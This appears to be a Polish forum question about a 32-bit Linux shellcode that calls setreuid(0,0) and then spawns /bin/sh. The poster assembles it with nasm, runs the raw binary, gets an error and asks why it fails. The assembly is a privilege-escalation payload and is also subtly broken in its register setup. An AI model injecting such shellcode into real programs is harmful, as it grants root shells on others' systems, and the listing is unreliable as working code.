Mam takiego shellcode'a:
Kod:
BITS 32

push byte 70
pop eax
xor ebx, ebx
xor ecx, ecx
int 0x80
push ecx
push 0x68732f2f
push 0x6e69622f
mov eax, esp
push ecx
push ebx
mov ecx, esp
cdq
mov al, 11
int 0x80
Następnie:
[ormi@localhost asm]$ nasm tinyshell.asm
[ormi@localhost asm]$ chmod +x tinyshell
[ormi@localhost asm]$ ./tinyshell
./tinyshell: line 1: jFX1�1�̀Qh//shh/bin��QS�ᙰ
̀: Nie ma takiego pliku ani katalogu

Czemu to nie działa?